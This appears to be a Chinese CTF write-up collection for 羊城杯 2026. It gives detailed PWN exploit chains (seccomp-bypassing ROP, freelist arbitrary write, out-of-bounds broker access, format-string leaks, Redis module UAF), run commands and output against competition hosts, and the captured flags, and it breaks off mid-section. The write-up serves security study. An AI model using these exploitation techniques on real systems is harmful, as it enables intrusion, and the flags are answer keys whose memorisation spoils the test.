羊城杯2026wp
题目质量很高
羊城杯 2026 WP 总汇
总览
分类 | 题目 | 状态 | Flag |
PWN | shell | 已解 | DASCTF{90473753383559195480046780105493} |
PWN | justledger | 已解 | DASCTF{64982944276361326615422338514064} |
PWN | redisrelay | 已解 | DASCTF{49190317460119079416855869891465} |
PWN | xmlbridge | 已解 | DASCTF{70327800596870093690811579077759} |
PWN | vaultcache | 已解 | DASCTF{41014504357684252657273883456679} |
PWN | cacheline | 未完成 | — |
PWN | notebook | 未完成 | — |
PWN | BabyMenu | 未完成 | — |
PWN | LibraryManagementSystem | 未完成 | — |
逆向 / 原生 VM | 千千的咲 | 已解 | flag{WuTher1ng_Waves_ch1Sak1_6666} |
逆向 / 原生 VM | VVMM | 已解 | flag{J1nxI_i5_4_6eautiful_g1rl} |
WEB | DataPulse | 已解 | DASCTF{30433301935994253763448862053766} |
利用链速览
- PWN:围绕栈溢出、任意地址写、堆生命周期、tcache 投毒、多级 broker/协议链与 ROP 读 flag 展开。
- 逆向:围绕 WASM 与原生 VM 的状态机、可逆 ARX 变换、逐轮求逆和最终密钥派生展开。
- WEB:Webhook SSRF → Gopher 访问 Redis → 修改 Django Session → Pickle 反序列化 RCE → 调用 setuid 程序读取 flag。
内容导航
1. PWN 题目
羊城杯 2026(下午场)WP 汇总
本文把今天下午各题的 writeup 合并为一份,按「总览 → 逐题 → 未完成 → 经验」组织。
各题原始脚本、日志与反编译保存在对应题目录的work/下,可回溯核对。
总览
题目 | 类型 | 状态 | Flag |
shell | PWN(栈溢出 + seccomp) | 已解 |
|
justledger | PWN(SQLite 扩展 + 多进程协议) | 已解 |
|
redisrelay | PWN(Redis 模块 + 多级 broker) | 已解 |
|
xmlbridge | PWN(libxml2 UAF + 五级链路) | 已解 |
|
vaultcache | PWN(Redis 模块 + vault 代理链) | 已解 |
|
cacheline | PWN(nginx 模块 + broker + vault) | 未完成(分析到底层) | — |
notebook | Kernel PWN | 未完成(反编译阶段) | — |
BabyMenu | Windows 提权(驱动) | 未完成(资料分析) | — |
LibraryManagementSystem | Windows 提权 | 未完成(环境分析) | — |
edgecore / FedResNyFinLedgerOs | — | 仅附件 | — |
一、shell(PWN,已解)
羊城杯 shell (pwn) — writeup
0. 结果
DASCTF{90473753383559195480046780105493}远程:1.14.76.59:29721(题目附件:pwn + libc.so.6 + ld-linux-x86-64.so.2 + libseccomp.so.2)
EXP:scripts/exp.py
1. 基本信息
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)libc: Ubuntu GLIBC 2.35-0ubuntu3.15
NEEDED: libseccomp.so.2, libc.so.6
导入符号: seccomp_init / seccomp_rule_add / seccomp_load / read / write.text 只有 0x1c9 字节,符号没 strip,关键函数:
void vuln(void) {
char buf[0x20];
read(0, buf, 0x30); // 0x40122b 起
write(1, "Goodbye!shell.", 9); // 输出 9 字节 "Goodbye!s"
return; // leave; ret
}
int main(void) {
sandbox(); // seccomp: KILL execve(59) / execveat(322), 默认 ALLOW
write(1, "Give me your name: ", 0x13);
vuln();
return 0;
}seccomp 只杀 execve/execveat,其它 syscall 全放行 → 只能 ORW。
read(0, rbp-0x20, 0x30) 正好覆盖 buf[0x20] + saved rbp + saved rip:
saved rbp 和 saved rip 都可控,这是整题的核心。
2. 关键原语:rbp 控制的任意地址写
vuln 的 epilogue 是 leave; ret:
leave : rsp = rbp ; rbp = [rsp] ; rsp += 8 // 把我们写进去的 saved rbp 弹进 rbp
ret : rip = saved rip所以溢出后 rbp 完全可控。此时跳到 vuln 函数体内、prologue 之后 的 0x40122b:
0x40122b: lea rax,[rbp-0x20]
0x40122f: mov edx,0x30
0x401234: mov rsi,rax
0x401237: mov edi,0
0x40123c: call read@plt ; read(0, rbp-0x20, 0x30)
0x401241: mov edx,9
0x401246: lea rax,[rip+0xdb7] ; "Goodbye!shell."
0x40124d: mov rsi,rax
0x401250: mov edi,1
0x401255: call write@plt ; write(1, "Goodbye!shell.", 9)
0x40125a: nop ; leave ; ret ; -> (rbp=[A], rip=[A+8]), rsp=A+0x10于是每一轮(round)都是:
rbp = A
read(0, A-0x20, 0x30) <-- 向任意地址写 0x30 字节
write(1, "Goodbye!s", 9) <-- 每轮固定输出,可用来同步
leave; ret -> rbp=[A], rip=[A+8]只要上一轮把 [A]=A_next、[A+8]=0x40122b 写好,就能一条一条 round 串下去。
(注意:若 call read 压栈的返回地址落在 A-0x20 ~ A+0x10 区间内,read 会覆盖自己的返回地址、直接跳到第 6 个 qword,跳过 goodbye。正常 round 让 rsp 远离目的地址即可。)
3. 泄露:把 read@got 改成写 gadget
GOT 是 Partial RELRO,.got.plt 可写:
0x404018 seccomp_init 0x404020 seccomp_rule_add
0x404028 write 0x404030 seccomp_load
0x404038 read把 read@got 写成 0x401250(mov edi,1 ; call write@plt),block 里的 call read@plt 就变成:
write(1, rbp-0x20, 0x30) // rsi/rdx 正好是 block 刚设置的 rbp-0x20 / 0x30→ 任意地址读。取 rbp = 0x404040,泄露 0x404020..0x404050:
[0x404020] seccomp_rule_add (libseccomp)
[0x404028] write (libc) <-- 算 libc base
[0x404030] seccomp_load (libseccomp)
[0x404038] read@got = 0x401250
[0x404040] [0x404048] 我们自己布的 pivot 值泄露完 leave; ret 走 [0x404040]/[0x404048],把 rbp/rip 迁到 bss 高处。
4. 恢复 read:_dl_runtime_resolve 再解析一次
read@got 被改坏后普通 read 没了,但 read 的 .plt 桩还在:
0x401070: endbr64 ; push 4 ; jmp 0x401020 ; 4 == read 的 reloc index
0x401020: push [0x404008](link_map) ; jmp [0x404010](_dl_runtime_resolve)ret 到 0x401070,解析器会重新解析 read、把真实地址回填 read@got,再按当前寄存器调用 read(rdi,rsi,rdx)。
此时 rdi=1(泄露 gadget 留下的)、rsi=0x404020、rdx=0x30 —— 靶场里 0/1/2 是同一个 socket,fd1 可读,所以我们直接喂 48 字节:
[0x404020] seccomp_rule_add@got 原值
[0x404028] write@got 原值(goodbye 还要用)
[0x404030] seccomp_load@got 原值
[0x404038] read@got libc read 真实地址
[0x404040] [0x404048] 随意一次调用同时完成「恢复 read@got」和「再写 48 字节」,之后继续走 round。
坑1:解析器的 xsave 保存区很大(本机 ~2.5KB),栈必须放在 bss 页高处
(0x404e00)。初始试的0x404040会写到下面的 RELRO 只读页0x403000-0x404000,直接SEGV_ACCERR。
5. 分块 ROP + 二次栈迁移
每轮只有 0x30 字节,第 5、6 个 qword 还被 round 的控制流占用。做法:
chunk = [q0][q1][q2][pop r13; pop r14; ret][A_next][0x40122b]链执行到 pop r13; pop r14; ret 时把两个控制 qword 白弹掉,再 ret 到下一块开头,
于是每 0x30 字节得到 3 个可用 ROP qword(pop gadget 不能落在每块最后一格,用 ret 填充对齐)。
4 块引导链:
chunk1: pop rdi ; 0 ; ret
chunk2: pop rsi ; BIGBUF(0x404800) ; ret
chunk3: pop rdx ; pop rbx ; 0x400 ; 0
chunk4: read(0,BIGBUF,0x400) ; pop rsp ; BIGBUF最后一块的 [A]=W1-8、[A+8]=leave;ret 把栈迁回链首,pop rsp 再迁到 BIGBUF —— 之后就是无长度限制的普通 ROP。
最终 ORW(每条路径一份):
open(path,0) -> pop rdi 3 -> read(3, FLAGBUF, 0x80) -> write(1, FLAGBUF, 0x80)坑2:libc 的
open()会覆盖rdx(caller-saved),pop rdx必须放在 open 之后,
否则会变成read(3,buf,0)/write(1,buf,0)(strace 里能直接看到)。坑3:pwntools 设置
libc.address之后libc.sym['read']返回的是已重定位地址,
再+ libc.address就重复加了 base。要先快照原始偏移。
6. 运行
# 本地(用 mini_socat 模拟靶场的 socket 环境,fd0/1/2 同一个 socket)
python3 scripts/mini_socat.py 10002 &
python3 scripts/exp.py 127.0.0.1 10002 "./flag"
# 远程
python3 scripts/exp.py 1.14.76.59 29721 "/flag"[*] leak: 0x7fdc62388800 0x7fdc622659c0 0x7fdc62387c50 0x401250 0x404e00 0x40121d
[+] libc base = 0x7fdc62151000
DASCTF{90473753383559195480046780105493}7. 时间线 / 环境说明
- 分析:WSL2 Ubuntu 20.04(gdb / objdump / pwntools),未使用 Kali。
- 附件哈希(SHA256):
- pwn
C9EA48C64357BB5EC0B08084701D49E3F8513E1BEFAD7560671D90FA0261CA8E - libc.so.6
B2CF6C33B74D2F22543B7A469A75B538911E690F769D0B238843A49465B83793 - ld-linux-x86-64.so.2
41DAF7836F7FCE21A40CA63A00C5CAF21B05A35A76CCC075D86F1716212CDF01 - libseccomp.so.2
0A10B36F83B58889352EF9DE563FDDEB80BA649D6A7108F32F31CFB08693E2A3
- 远程与本地同一套 libc(泄露的 write 偏移 = 0x1149c0 完全对得上)。
二、justledger(PWN,已解)
2026 羊城杯 justledger PWN Writeup
0. 题目信息
项目 | 值 |
题目 | justledger |
类型 | PWN |
描述 | 账本服务中的多阶段内存破坏 |
远程靶机 |
|
Flag |
|
附件包含:
justledger # SQLite 前端,加载 ledgerprobe.so
ledgerbroker # 二进制对象服务
ledgervault # 读 /home/ctf/flag 的 vault
listener # TCP 9999 -> justledger
ledgerprobe.so # SQLite 扩展
ld-linux-x86-64.so.2
libc.so.6
libm.so.6
libsqlite3.so.0
description.txt1. 总体思路
这题不是单点 pwn,而是三层隔离服务:
TCP 9999
└─ listener
└─ justledger (SQLite + ledgerprobe.so)
└─ fd3 -> ledgerbroker
└─ fd3 -> ledgervault
└─ /home/ctf/flagjustledger 只接受 SQL,authorizer 只放行 SELECT / READ,并且单独拦截 load_extension;broker 只认自己的二进制协议;vault 只和 broker 通信。因此需要分别打穿三层:
- ledgerprobe.so:用 SQL 函数做对象操作,利用释放链表实现任意写,覆盖
ledger_fire的函数指针,跳到扩展内闲置的 poll 转发函数0x1c10,把 TCP 流接到 broker。 - ledgerbroker:用 window 对象读写的“只比较低字节”漏洞越界读写相邻对象,泄露 broker secret 和基址,伪造 ROUTE3 的编码函数指针与 digest,调用 broker 内闲置的转发函数
0x2120,接到 vault。 - ledgervault:用
0x91格式化字符串泄露 secret / canary / PIE / libc / flag fd;用0xa7的长度低字节绕过栈溢出检查,ROP 调read(flag_fd)+write(1)把 flag 打回来。
关键点是:三层都不能直接读写 flag,必须利用两个“未使用”的转发函数作为跳板。
2. 附件保护与 libc
justledger / ledgerbroker / ledgervault / listener:
Full RELRO, Canary, NX, PIE, SHSTK, IBT
ledgerprobe.so:
Full RELRO, Canary, NX, PIESQLite 版本为 3.37.2;libc 是题目附带的 Ubuntu glibc(read 偏移 0x114920,write 偏移 0x1149c0)。
3. 第一段:SQLite 扩展 ledgerprobe.so
3.1 SQL 沙箱与函数
justledger 打开 :memory:,加载 ledgerprobe.so,创建虚拟表 ledger,然后对每行 SQL 做:
- 只允许
SELECT/READ; FUNCTION动作只拦截load_extension;- 结果列以 hex 打印到 stdout。
扩展注册的函数:
ledger_seed() 0 args
ledger_bind(a,b) 2 args
ledger_make(idx,type,blob) 3 args
ledger_mark(idx) 1 arg
ledger_drop(idx) 1 arg
ledger_audit() 0 args
ledger_touch(blob8) 1 arg
ledger_fire() 0 args3.2 arming:lease + bind
ledger_seed() 返回一个类型为 ledger.lease 的 pointer value,指向扩展全局 0x5460。
虚拟表 ledger 的 schema 是 x(record, seal HIDDEN)。xBestIndex 只接受 seal = ? 的 EQ 约束;xFilter 把 RHS 的 sqlite3_value* 记录到全局:
[0x5488] = argv[0] ^ [0x5480] // [0x5480] 是扩展随机 secret
[0x5468] = 0
[0x5470] = [0x5478]xClose 会把 0x5468 置 1。ledger_bind 要求:
argc == 2
[0x5464] == 0
[0x5488] != 0
[0x5468] != 0
[0x5470] != [0x5478]然后用 [0x5488] ^ [0x5480] 还原 sqlite3_value*,调用 sqlite3_value_pointer(v, "ledger.lease");如果返回 &0x5460,就把 0x5464 置 1(armed),返回 1。
所以先用一条 vtab 查询完成 xFilter/xClose,再单独 bind:
SELECT * FROM ledger WHERE seal=ledger_seed();
SELECT ledger_bind(ledger_seed(),0);之后 ledger_make/mark/touch/audit/drop/fire 才可用。
3.3 ROUT 对象与信息泄露
ledger_make(idx, type, blob):
idx0..7;type0 = NOTE,1 = ROUT,2 = 原始对象(前 0x60 字节由 blob 控制);- 对象大小
0x2d8,前 0x60 字节来自 blob; - 返回对象下标。
创建 ROUT(type=1)后,对象布局:
偏移 | 内容 |
+0x00 | tag |
+0x08 | 全局递增 id |
+0x20 |
|
+0x28 | 对象自身地址 |
+0x30 |
|
ledger_audit() 返回 obj+0x20 的 32 字节,因此一次就能拿到:
q0 = ext_base + 0x1260
q1 = obj
q2 = (ext_base+0x1260) ^ secret2 ^ ror(obj,12)恢复:
ext_base = q0 - 0x1260
secret2 = q2 ^ (ext_base + 0x1260) ^ ror(q1, 12)对应 SQL:
SELECT ledger_make(0,1,zeroblob(96));
SELECT ledger_mark(0);
SELECT ledger_audit();3.4 释放链表任意写
ledger_drop(idx) 把对象压入释放链表:
[obj] = (obj >> 12) ^ old_head
head = obj
count++ledger_make 在 count > 0 时弹出:
head = [0x5408]
next = (head >> 12) ^ [head]
[0x5408] = next
count--
zero(head .. head+0x2d8)
copy 0x60 bytes blob -> headledger_touch(blob8) 会把 8 字节写到当前对象(0x5410)的首 8 字节。于是:
- 创建对象 0(ROUT,地址已知)和对象 1;
- 先
drop(1)再drop(0),让 head 是已知的obj0; mark(0)使当前对象仍是obj0;ledger_touch(X'<obj0>>12 ^ target>')改写obj0的 next;- 两次
ledger_make:第一次弹出obj0并把 head 设为target;第二次弹出target,先清零target..target+0x2d8,再把 0x60 字节 blob 复制到target。
这就得到了一个 0x60 字节的任意地址写。
3.5 覆盖 ledger_fire 指针
ledger_fire():
if argc != 0: error
if [0x5464] == 0: error
if [0x5110] == 0: error
rax = [0x5110] ^ [0x53f0] ^ 0x91e10da5c79b43f2
rax = rol(rax, 23)
if rax != [0x5118]: error
result_int(ctx, 1)
jmp [0x5110]0x5110 初始值是 (ext_base+0x5110)>>12,0x5118 是对应的校验和。用任意写把它改成扩展内闲置的 poll 转发函数 ext_base+0x1c10:
proxy = ext_base + 0x1c10
check = rol(secret2 ^ proxy ^ 0x91e10da5c79b43f2, 23)然后执行:
SELECT ledger_fire();ledger_fire 校验通过后跳进 0x1c10。该函数 poll fd0(stdin)和 fd3(broker),把两边数据互相转发。此时 TCP 连接变成裸字节流,可以直接说 broker 协议。
注意:不要写
0x5020的 module struct。ledger_make在复制前会清零target+8 .. target+0x2d8;如果 target 是0x5020,会覆盖0x5100的sqlite3_api指针,导致下一次调用 API 时崩溃。写0x5110的清零范围从0x5118开始,刚好不碰0x5100。
4. 第二段:broker
4.1 协议
4 字节头:
byte 0: type
byte 1: subtype / index
byte 2-3: uint16 length (little endian)常用消息:
type | 含义 |
| 创建 WINDOW3 |
| 创建 SLICE3 |
| 创建 ROUTE3 |
| window 读 / 写 |
| slice 读 / 写 |
| 调用 ROUTE3 |
响应也是 4 字节头 + data;成功时 type=0。
4.2 window 越界
WINDOW3 对象是 calloc(0x200);读写目标为:
dest = window + off + 0x40检查:
off + len <= 0x70 // 只比较了低字节!
off <= 0x100
len <= 0x600 (读) / 0x220 (写)(0x100 + 0x400) & 0xff == 0,所以 off=0x100, len=0x400 可以读越界;off=0x100, len=0x100 可以写越界。
堆布局非常稳定:
window W
route W+0x210
slice W+0x420读起点是 W+0x140,因此:
route tag 在数据偏移 0xd0
slice tag 在数据偏移 0x2e04.3 泄露 broker secret
SLICE3 创建时:
[slice+0x10] = (slice+0x80) ^ rol(S, 9)
[slice+0x20] = slice其中 S = [0x5040] 是 broker 的随机 secret。读出后:
S = ror(u64(slice+0x10) ^ ((u64(slice+0x20) + 0x80) & MASK), 9)ROUTE3 创建时:
counter = [route+0x08]
E = rol((broker_base+0x1770) ^ S ^ route, 29)
digest = mix(S ^ E ^ counter ^ 0x6f27c4b19a5e38d2)
[route+0x10] = E
[route+0x18] = digest
[route+0x20] = routemix 是 splitmix64 的 finalizer:
def mix(x):
x &= (1<<64)-1
x ^= x >> 30
x = (x * 0xbf58476d1ce4e5b9) & MASK
x ^= x >> 27
x = (x * 0x94d049bb133111eb) & MASK
x ^= x >> 31
return x & MASK由 route 的 E 反推:
target = ror(E, 29) ^ S ^ route
broker_base = target - 0x17704.4 伪造 ROUTE3 调用 broker proxy
把 E 改成:
E2 = rol((broker_base + 0x2120) ^ S ^ route, 29)
digest2 = mix(S ^ E2 ^ counter ^ 0x6f27c4b19a5e38d2)用 window 的 0x6b 写 off=0x100, len=0x100,从 W+0x140 写回 0x100 字节,在 0xd0+0x10 / 0xd0+0x18 处打补丁。
然后发送 0x7e(subtype 0,len 0)。broker 校验 tag、self pointer、digest 后:
rcx = ror([route+0x10], 29) ^ (route ^ S)
= broker_base + 0x2120
call rcx进入 broker 的 poll 转发函数 0x2120。它 poll fd0(justledger)和 fd3(vault),双向转发。至此 TCP 流接到 vault。
5. 第三段:vault
5.1 协议
vault 主循环读 4 字节头:cmd、保留字节、uint16 length。
0x91:读入 length 字节格式化字符串,经过过滤后调用__dprintf_chk(1,1,fmt,...)打印;0xa7:读入 length 字节到栈缓冲区rbp-0x120。
5.2 格式化字符串泄露
发送:
cmd 0x91, len = len(fmt)
fmt = "AAAA" + ".%p" * 8__dprintf_chk 的 8 个 vararg 全部用 secret 混淆:
参数 | 含义 |
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 | arg1 ^ arg2 |
7 | arg3 ^ arg4 |
8 |
|
恢复:
S = arg5 ^ 0x58df37a91c62e40b
flag_fd = arg3 ^ ror(S, 9)
canary = arg4 ^ rol(S, 31)
base = (arg1 ^ S) - 0x1ac0
libc = (arg2 ^ rol(S, 13)) - 0x114920 # libc read这里 flag_fd 是 vault 在降权前打开 /home/ctf/flag 得到的 fd;由于前面随机打开了若干次 /dev/null,fd 在 4..11 之间随机,但泄露可以直接算出来。
5.3 栈溢出
0xa7 调用 0x1b80:
buffer = rbp - 0x120
canary = rbp - 0x18 -> buffer+0x108
saved rbx = rbp - 0x08
saved rbp = rbp
ret = rbp + 0x08 -> buffer+0x128长度检查:
len & 0xff <= 0x80
len <= 0x4000x200 通过。布局:
偏移 | 内容 |
0x000 | padding |
0x108 | canary |
0x110 | 未用 |
0x118 | saved rbx |
0x120 | saved rbp |
0x128 | ROP |
5.4 ROP 读 flag
libc gadget:
pop rdi; ret libc+0x2a3e5
pop rsi; ret libc+0x2be51
pop rdx; pop rbx; ret libc+0x90469ROP:
pop rdi; flag_fd
pop rsi; vault_base+0x4100
pop rdx; 0x200; 0
read
pop rdi; 1
pop rsi; vault_base+0x4100
pop rdx; 0x200; 0
write0xa7 payload 长度 0x200。vault 从已打开的 flag fd 读 0x200 字节,再写到 fd1,沿 broker -> justledger -> TCP 原路返回。EXP 从返回字节中匹配 DASCTF{...} 或 flag{...}。
6. 本地复现
把附件放到 /home/ctf,写好本地占位 flag:
printf 'flag{xxx}' > /home/ctf/flag
chmod 600 /home/ctf/flag用附带的 loader/libc 启动:
cd /home/ctf
./ld-linux-x86-64.so.2 --library-path /home/ctf ./ledgervault &
./ld-linux-x86-64.so.2 --library-path /home/ctf ./ledgerbroker &
./ld-linux-x86-64.so.2 --library-path /home/ctf ./listener &然后:
python solve.py 127.0.0.1 9999本地输出:
[+] FLAG: flag{xxx}本地 /home/ctf/flag 是占位值,不是比赛 flag。
7. 远程复现
python solve.py 1.14.76.59 20989实测输出:
[*] ext base=0x7f5535711000 obj0=0x555555a51320 secret2=0x128b3f1187c8b4cd
[*] route off=0xd0 slice off=0x2e0
[*] broker base=0x7f687f922000 secret=0x4bfb370ac657167 route=0x55555610a580
[*] format leak: b'AAAA.0x60d3eb1c0a316a09.0x728622b95862353a.0x64b069ca19765efc.0x481b707fc4c91319.0x380ca39bf0df14c2.0x1255c9a552535f33.0x2cab19b5ddbf4de5.0x4c564c335345414c\n'
[*] secret=0x60d39432ecbdf0c9 fd=4 canary=0x3e45881b74a0d900 vault=0x7f2ee68c8000 libc=0x7f2ee669d000
[+] FLAG: DASCTF{64982944276361326615422338514064}连续两次运行得到同一 flag:
DASCTF{64982944276361326615422338514064}8. 踩坑记录
- 扩展任意写不能写
0x5020ledger_make复制前会清零target+8..target+0x2d8,0x5020会覆盖0x5100的sqlite3_api指针;应写0x5110,其清零起点是0x5118。 - ROUT 编码里是
base+0x1260,不是0x1260lea rax,[rip-...]得到的是运行时地址,恢复 secret2 时必须用ext_base+0x1260。 - 运算符优先级
反推 broker 基址时写成ror(E,29) ^ S ^ route - 0x1770会被 Python 解析成ror(E,29) ^ S ^ (route-0x1770),必须显式加括号。 - window 越界检查只看低字节
cmp r9b,0x70只比较(off+len)的低 8 位,因此off=0x100,len=0x400能过;不要误以为它检查完整 16 位。 - vault 格式化参数位置
8 个 vararg 的排列是固定的;恢复 secret 用第 5 个,flag fd 用第 3 个,canary 用第 4 个,PIE 用第 1 个,libc 用第 2 个。 - vault 的 flag fd 是随机的
前面会随机打开 1..7 次/dev/null,所以 flag fd 不固定;但格式化字符串能直接泄露,不用爆破。
9. 修复建议
ledger_make的释放链表应在复制前完整校验目标是否在对象池内;不要把用户可控的 next 直接当对象指针。- 所有长度/偏移检查使用完整位宽,不要只比较低字节(window 的
off+len、vault 的len & 0xff)。 - 不要让扩展把
sqlite3_value*保存在全局并在语句结束后继续使用;ledger_bind的 lease 校验存在 UAF/悬垂指针风险。 - 不要把可被覆盖的函数指针(
0x5110)放在可写 .bss 且缺少完整性保护;应使用只读表或指针认证。 - vault 的格式化字符串应固定格式,不要直接把用户输入当 format;栈读入应严格限制在缓冲区大小内。
附录:完整 EXP
三、redisrelay(PWN,已解)
redisrelay Writeup(2026 羊城杯 初赛 PWN · 中等)
Flag:
DASCTF{49190317460119079416855869891465}
入口:nc 1.14.76.59 18413(redis TCP)
Exp:work/scripts/exp_chain.py --host <ip> --port <port> --timeout 20
0. 题目概览
附件给了同版本的 Redis 7.2.16(带调试符号)+ libc.so.6 + 六个 strip 过的 PIE 程序:
redis-server 加载原生模块 redisrelay.so(uid 1)
relaybroker 前端代理(uid 2)
routeattestor 证明/票据层(uid 3)
routevault 金库层(uid 4)
routeledger 账本层(uid 5)
routecouncil 议事层(uid 6,持有 flag 的只读 fd)描述里写得很清楚:六者分属六个 UID / 六个独立地址空间,只有每会话的 council worker 持有动态 flag 的只读 fd(fd 4),选手必须在同一条 Redis 连接里依次取得六种“能力”。
拓扑是硬编码的 unix socket 链:
redis --(module relay.*)--> /run/redisrelay/front/relaybroker.sock
--> /run/redisrelay/attestor/routeattestor.sock
--> /run/redisrelay/vault/routevault.sock
--> /run/redisrelay/ledger/routeledger.sock
--> /run/redisrelay/council/routecouncil.sock每一层的监听父进程 accept 后 fork,子进程先连下一层并替客户端写好 16 字节握手前缀,再 dup2 + execve --serve。所以选手从 Redis 侧只用一条 TCP,往下每一层都是“上一层隧道里塞下一层的帧”。
二进制保护:Full RELRO / Canary / NX / PIE / SHSTK / IBT;交付的 libc.so.6 是 Ubuntu 22.04 glibc 2.35(ld 在附件里没有,本地复现需自备同版本 ld-linux)。
$ checksec routevault
Arch: amd64-64-little
RELRO: Full RELRO Stack: Canary found NX: NX enabled
PIE: PIE enabled SHSTK: Enabled IBT: Enabled1. 通用帧格式
除 redis RESP 外,五层服务共用同一套“4 字节长度 + 16 字节头”的帧:
struct hdr {
uint32_t magic; // 4 字节 ASCII,如 "RBK3" / "RTA4" / "RLV3" / "LGD5" / "RNC5"
uint8_t op; // 操作码
uint8_t idx; // 槽位(很多地方实际按“有符号字节”用,见后文)
uint8_t idx2;
uint8_t zero; // 必须为 0
uint32_t bodylen; // == total_len - 16
uint32_t seq; // 必须严格递增(服务端记录“目前见过的最大值”)
};回包同构,只把 magic 换成应答值("RBS3" / "RTS4" / "RLR3" / "LGR5" / "RNR5"),seq 回显。任何长度/魔数/seq 不合法,会话直接退出。
各层入口的 16 字节前缀(在 .rodata 里,父进程accept时代发,选手永远不要自己发):
层 | 前缀(16B) |
broker 收 |
|
attestor 收 |
|
vault 收 |
|
ledger 收 |
|
council 收 |
|
2. 第 0 层:redisrelay.so(模块 → relay armed)
2.1 对象与状态机
模块每个 Redis 客户端对应一个 session(Alloc(104)),字段:
+0x00 clientid +0x38 id
+0x08 obj +0x40 obj+0x18(8 字节随机)
+0x10 bound(obj) +0x48 fragment 掩码(要 ==0xF)
+0x18 ledger +0x4C active
+0x20 stamps[3] +0x50 broker fd
+0x60 next +0x58 commit 写入的校验值relay.begin <seed> 分配 session + 512 字节 route 对象(magic "RRROUET3" = 0x335445554F525252),并把 128..0x1000 字节的 seed 拷到 obj+0x50:
v13 = RedisModule_Alloc(512);
*(u64*)v13 = 0x335445554F525252; // 注意实际字节是 "RRROUET3"
*(u64*)(v13+0x08) = ++counter;
*(u64*)(v13+0x10) = v13 ^ key3;
getrandom(v13+0x18, 8);
*(u64*)(v13+0x20) = clientid ^ rol(key1,7);
*(u64*)(v13+0x28) = rol(v13 ^ key2 ^ sub_8300, 17);
*(u64*)(v13+0x40) = sub_8460(v13); // hash
memcpy(v13+0x50, seed, len); // ← 溢出点,但本解法不用它2.2 泄漏:retire + ledger 复用
relay.bind→session+0x10 = objrelay.retire→free(obj),但仍保留session+0x10relay.ledger→Alloc(512),当且仅当返回地址 ==session+0x10时才把新对象登记为 ledger(jemalloc 的 512 类会复用刚释放的块)
于是 session+0x10 和 +0x18 指向同一块内存,relay.snapshot 返回的 80 字节就是 ledger 头:
+0x00 "RLEDGER3"
+0x08 rand
+0x10 qword_11018 ← key3
+0x18 sub_8300 ^ rol(rand,13) ← 反推模块基址
+0x20 rand ^ rol(sub_8300,29) ^ qword_11020 ← key2
+0x28 clientid ^ rol(qword_11010,7) ← key1
+0x30 旧 obj+0x18
+0x38 hash而在 retire 之前先 relay.snapshot 拿到旧 route 的 +0x10 = obj ^ key3,两边一 XOR 就得到 obj 地址。至此 key1/key2/key3、模块基址、堆地址全齐。
2.3 stamp 地址:从“预测”改成“泄漏”
relay.stamp i 分配 256 字节并写:
*(u64*)(stamp+0x00) = "RRSTAMP3";
*(u64*)(stamp+0x08) = i;
*(u64*)(stamp+0x10) = stamp ^ qword_11018; // ← 关键relay.stampinfo i 返回 48 字节,正好包含 +0x10,所以:
stamp_addr = u64(stampinfo[i][0x10:0x18]) ^ key3这条一条就够了。踩坑点:最初用 jemalloc 布局预测(obj-0x9E00/0x9C00/0x9B00)在本地全新进程上成立,但远端拿到的是顺序相反的 obj-0x9B00/0x9C00/0x9E00,commit 必报 ERR route integrity。改成泄漏后本地(含被反复使用的 redis)与远端都稳定。
2.4 fragment 与 commit
relay.fragment idx auth data 把 128 字节写到 obj + idx*128(idx 0..3,正好覆盖 512),鉴权:
chain = session+0x40; // 无 stamp 时为 0
for each stamp: chain = rol(stamp+0x40 ^ stamp ^ stamp+0x38 ^ chain, 11/20/29)
auth = rol(chain ^ obj ^ key2 ^ 0x9E3779B97F4A7C15*(idx+1), 7*idx+9)relay.commit 校验:
obj[0]=="RRROUET3"、obj+8==id、obj+16==obj^key3、obj+24==session+0x40、
obj+32==clientid^rol(key1,7)、obj+40==rol(obj^key2^sub_8400,17)、
obj+48==stamp chain、obj+56==1、obj+64==sub_8460(obj)然后 sub_8400(obj, session) 把 session+0x58 写成 mix(obj+0x18 ^ obj+0x30 ^ clientid ^ 0x243F6A8885A308D3),回 relay armed。
relay.tunnel <frame> 再校验 session+0x58 == mix(chain ^ session+0x40 ^ clientid ^ const),通过后把 u32 len + frame 写给 broker,并读回 u32 len + 应答。
于是只要自己按上面的公式拼好 4 个 128 字节分片(img),commit 一次就能拿到“broker 能力”。
# exp_local.py 里 arm_relay() 的核心
img = bytearray(512)
img[0:8] = b"RRROUET3"
struct.pack_into("<Q", img, 8, id)
struct.pack_into("<Q", img, 16, obj ^ key3)
struct.pack_into("<Q", img, 24, session64)
struct.pack_into("<Q", img, 32, clientid ^ rol(key1,7))
struct.pack_into("<Q", img, 40, rol(obj ^ key2 ^ (modbase+0x8400), 17))
struct.pack_into("<Q", img, 48, chain)
struct.pack_into("<Q", img, 56, 1)
struct.pack_into("<Q", img, 64, mix(xor(q0..q7) ^ key2 ^ 0x243F6A8885A308D3))3. 第 1 层:relaybroker(# → RB4/ATTEST)
3.1 对象
op | 作用 |
0x7F | ping → |
0x10 | 建 probe( |
0x11 | link probe → 别名 |
0x12 | dump 0x28 |
0x13 | free probe(别名不清空 → UAF) |
0x14 | 往别名写 0x90 字节(整块写 freed probe) |
0x15 | 用 probe 头做 |
0x20 | 建 route( |
0x21 | dump 0x40 |
0x22 | 写 |
0x23 | 关卡(4 个 slice + route 全套校验)→ 连 attestor,回 |
0x30/0x31 | 建/读 slice( |
0x40 | 隧道到 attestor( |
3.2 任意读 + 反 key
0x15 的 sub_2410:
if (a1[1] != 8) return 0;
if ((u64)(a1[0] + 0x20000) > 0x40000) return 0; // off ∈ [-0x20000, 0x20000]
if (a1[3] != mix(a1[4] ^ a1[2] ^ 0x6A09E667F3BCC909)) return 0;
*a2 = *(u64*)((char*)sub_2410 + off);probe 被 free 后仍可用 0x14 整块重写这 0x90 字节,于是每读一个地址:0x10 → 0x11 → 0x13 → 0x14 → 0x15(0x15 成功后会把别名槽清 0,必须重链)。
读到的关键全局:
0x7048 -> key2 0x7050 -> key1
0x70C0 -> route 指针 0x7060 -> slice 指针数组broker 的 PIE 基址不用另找:ror(route[0x20],21) ^ route ^ key2 就是创建时的 sub_23E0 运行地址,减 0x23E0 即基址。
3.3 关卡:有符号索引写 route 头
0x23 要求 route 满足:
route+0x08 == route ^ key1
route+0x18 == key1 ^ rol(route+0x10, 9)
route+0x28 == chain(route+0x10 ^ 0xA54FF53A5F1D36F1,再按 4 个 slice 折叠)
route+0x30 == 1
